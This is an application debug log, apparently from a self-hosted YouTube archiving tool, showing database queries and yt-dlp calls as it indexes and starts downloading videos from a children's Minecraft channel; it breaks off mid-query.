OK source="settings" db=0.0ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:40:54.641 [debug] QUERY OK source="media_items" db=1.7ms idle=1.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."source_id" = ?) ORDER BY m0."uploaded_at" DESC LIMIT 50 OFFSET 20 [30] 19:40:54.642 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 19:40:54.643 [debug] Current batch of media processed. Will check again in 1000ms 19:40:54.643 [debug] QUERY OK source="settings" db=0.1ms idle=4.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:40:54.643 [debug] QUERY OK source="settings" db=0.1ms idle=4.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:40:54.643 [debug] QUERY OK source="settings" db=0.1ms idle=4.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:40:54.643 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@miloandchip --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/rory/Milo and Chip/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/fa/52/fa52de4a00115abfd870e63b1de9a58c3ffa3abbd75f2bdb0423249abfaa169b.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/7c/24/7c246f8c3e48baf7ab57a9dd44a669d38f3d266d93a1ce1d8811f4ea04359b2e.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:40:55.643 [debug] Current batch of media processed. Will check again in 1000ms 19:40:56.644 [debug] Current batch of media processed. Will check again in 1000ms 19:40:57.645 [debug] Current batch of media processed. Will check again in 1000ms 19:40:58.646 [debug] Current batch of media processed. Will check again in 1000ms 19:40:59.647 [debug] Current batch of media processed. Will check again in 1000ms 19:41:00.124 [info] {"source":"oban","duration":358,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:41:00.648 [debug] Current batch of media processed. Will check again in 1000ms 19:41:01.649 [debug] Current batch of media processed. Will check again in 1000ms 19:41:02.650 [debug] Current batch of media processed. Will check again in 1000ms 19:41:02.846 [info] {"source":"oban","duration":1607,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:41:03.651 [debug] Current batch of media processed. Will check again in 1000ms 19:41:04.653 [debug] Current batch of media processed. Will check again in 1000ms 19:41:05.655 [debug] Current batch of media processed. Will check again in 1000ms 19:41:06.658 [debug] Current batch of media processed. Will check again in 1000ms 19:41:07.659 [debug] Current batch of media processed. Will check again in 1000ms 19:41:08.660 [debug] Current batch of media processed. Will check again in 1000ms 19:41:09.662 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Milo Fell Into a DEEP Sleep in Minecraft! 😴💤 Will Chip and Rosie ever get him to rise - or will he be snoozing forever? Just like Cash , Mango and Aphmau!\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "duration" => 2042, "filename" => "/downloads/rory/Milo and Chip/2026-06-03 The DAY Milo Couldn't WAKE UP!/The DAY Milo Couldn't WAKE UP! [nlDDtZXqZPY].mp4", "id" => "nlDDtZXqZPY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=nlDDtZXqZPY", "playlist_index" => 1, "timestamp" => 1780527629, "title" => "The DAY Milo Couldn't WAKE UP!", "upload_date" => "20260603"} 19:41:09.663 [debug] QUERY OK source="sources" db=1.0ms queue=0.1ms idle=1963.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [30] 19:41:09.665 [debug] QUERY OK source="sources" db=1.1ms queue=0.1ms idle=1965.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:41:09.667 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=1005.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-03 23:00:29Z], 30] 19:41:09.668 [debug] QUERY OK source="media_items" db=0.9ms idle=968.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Milo Fell Into a DEEP Sleep in Minecraft! 😴💤 Will Chip and Rosie ever get him to rise - or will he be snoozing forever? Just like Cash , Mango and Aphmau!\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "The DAY Milo Couldn't WAKE UP!", "fec685e0-d16d-4a29-aa2b-0aa65e9f172c", "nlDDtZXqZPY", false, "https://www.youtube.com/watch?v=nlDDtZXqZPY", 30, [], 2042, false, 1, "/downloads/rory/Milo and Chip/2026-06-03 The DAY Milo Couldn't WAKE UP!/The DAY Milo Couldn't WAKE UP! [nlDDtZXqZPY].mp4", false, false, 99, ~U[2026-06-03 23:00:29Z], ~U[2026-06-03 23:41:09Z], ~U[2026-06-03 23:41:09Z], "Milo Fell Into a DEEP Sleep in Minecraft! 😴💤 Will Chip and Rosie ever get him to rise - or will he be snoozing forever? Just like Cash , Mango and Aphmau!\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "The DAY Milo Couldn't WAKE UP!", "nlDDtZXqZPY", "https://www.youtube.com/watch?v=nlDDtZXqZPY", 30, 2042, false, "/downloads/rory/Milo and Chip/2026-06-03 The DAY Milo Couldn't WAKE UP!/The DAY Milo Couldn't WAKE UP! [nlDDtZXqZPY].mp4", false, ~U[2026-06-03 23:00:29Z]] 19:41:09.669 [debug] QUERY OK source="sources" db=0.2ms idle=5.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:41:09.669 [debug] QUERY OK source="media_profiles" db=0.2ms queue=0.1ms idle=3.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:41:09.670 [debug] QUERY OK source="media_items" db=0.2ms idle=4.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [141479] 19:41:09.670 [info] Kicking off download for media item #141479 (nlDDtZXqZPY) 19:41:09.671 [debug] QUERY OK source="tasks" db=0.1ms idle=2.1ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [7279, 141479, ~U[2026-06-03 23:41:09Z], ~U[2026-06-03 23:41:09Z]] 19:41:09.671 [debug] Current batch of media processed. Will check again in 1000ms 19:41:09.678 [info] {"args":{"id":141479},"id":7279,"meta":{},"system_time":1780530069678070366,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:41:09.678 [debug] QUERY OK source="media_items" db=0.2ms idle=8.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141479] 19:41:09.678 [info] User scripts lifecyle file either not present or is empty. Skipping. 19:41:09.679 [debug] QUERY OK source="sources" db=0.2ms idle=8.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:41:09.679 [debug] QUERY OK source="media_profiles" db=0.1ms idle=8.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:41:09.680 [debug] QUERY OK source="media_items" db=0.2ms idle=8.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [141479] 19:41:09.680 [debug] QUERY OK source="media_metadata" db=0.1ms idle=2.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [141479] 19:41:09.681 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:41:09.681 [debug] QUERY OK source="settings" db=0.1ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:41:09.681 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:41:09.682 [debug] Running yt-dlp command for action: get_downloadable_status 19:41:09.682 [debug] QUERY OK source="settings" db=0.0ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:41:09.682 [debug] QUERY OK source="settings" db=0.2ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:41:09.683 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:41:09.683 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=nlDDtZXqZPY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/6c/b6/6cb62523e8a186eeb034520b078700e689bb18a4680e417825bd01889e82eeef.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:41:10.672 [debug] Current batch of media processed. Will check again in 1000ms 19:41:11.673 [debug] Current batch of media processed. Will check again in 1000ms 19:41:12.674 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Protecting Our Families from a GIANT Penguin in Minecraft! 🐧❄️ Can Chip's fortified base survive a monster-sized GUGU GAGA attack at midnight, or will Milo's Berry Wall of Greatness save the day first?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "duration" => 1776, "filename" => "/downloads/rory/Milo and Chip/2026-06-01 NOOB vs PRO: GUGU GAGA Safest Security House Build Challenge to Protect My Family/NOOB vs PRO: GUGU GAGA Safest Security House Build Challenge to Protect My Family [HlTfxG007JI].mp4", "id" => "HlTfxG007JI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=HlTfxG007JI", "playlist_index" => 2, "timestamp" => 1780354807, "title" => "NOOB vs PRO: GUGU GAGA Safest Security House Build Challenge to Protect My Family", "upload_date" => "20260601"} 19:41:12.674 [debug] QUERY OK source="sources" db=0.2ms idle=1975.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [30] 19:41:12.675 [debug] QUERY OK source="sources" db=0.2ms idle=1975.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:41:12.676 [debug] QUERY OK source="media_items" db=1.3ms idle=1976.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-01 23:00:07Z], 30] 19:41:12.678 [debug] QUERY OK source="media_items" db=1.2ms idle=1009.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Protecting Our Families from a GIANT Penguin in Minecraft! 🐧❄️ Can Chip's fortified base survive a monster-sized GUGU GAGA attack at midnight, or will Milo's Berry Wall of Greatness save the day first?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "NOOB vs PRO: GUGU GAGA Safest Security House Build Challenge to Protect My Family", "fc894906-e8fe-4180-80e2-24900be3fcdf", "HlTfxG007JI", false, "https://www.youtube.com/watch?v=HlTfxG007JI", 30, [], 1776, false, 2, "/downloads/rory/Milo and Chip/2026-06-01 NOOB vs PRO: GUGU GAGA Safest Security House Build Challenge to Protect My Family/NOOB vs PRO: GUGU GAGA Safest Security House Build Challenge to Protect My Family [HlTfxG007JI].mp4", false, false, 98, ~U[2026-06-01 23:00:07Z], ~U[2026-06-03 23:41:12Z], ~U[2026-06-03 23:41:12Z], "Protecting Our Families from a GIANT Penguin in Minecraft! 🐧❄️ Can Chip's fortified base survive a monster-sized GUGU GAGA attack at midnight, or will Milo's Berry Wall of Greatness save the day first?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "NOOB vs PRO: GUGU GAGA Safest Security House Build Challenge to Protect My Family", "HlTfxG007JI", "https://www.youtube.com/watch?v=HlTfxG007JI", 30, 1776, false, "/downloads/rory/Milo and Chip/2026-06-01 NOOB vs PRO: GUGU GAGA Safest Security House Build Challenge to Protect My Family/NOOB vs PRO: GUGU GAGA Safest Security House Build Challenge to Protect My Family [HlTfxG007JI].mp4", false, ~U[2026-06-01 23:00:07Z]] 19:41:12.679 [debug] QUERY OK source="sources" db=0.2ms idle=9.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:41:12.679 [debug] QUERY OK source="media_profiles" db=0.1ms idle=4.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:41:12.680 [debug] QUERY OK source="media_items" db=0.3ms idle=4.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [141039] 19:41:12.680 [debug] Current batch of media processed. Will check again in 1000ms 19:41:13.681 [debug] Current batch of media processed. Will check again in 1000ms 19:41:14.209 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=nlDDtZXqZPY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/6c/b6/6cb62523e8a186eeb034520b078700e689bb18a4680e417825bd01889e82eeef.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 19:41:14.210 [debug] Running yt-dlp command for action: download 19:41:14.210 [debug] QUERY OK source="settings" db=0.1ms idle=540.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:41:14.210 [debug] QUERY OK source="settings" db=0.0ms idle=510.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:41:14.210 [debug] QUERY OK source="settings" db=0.1ms idle=511.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", 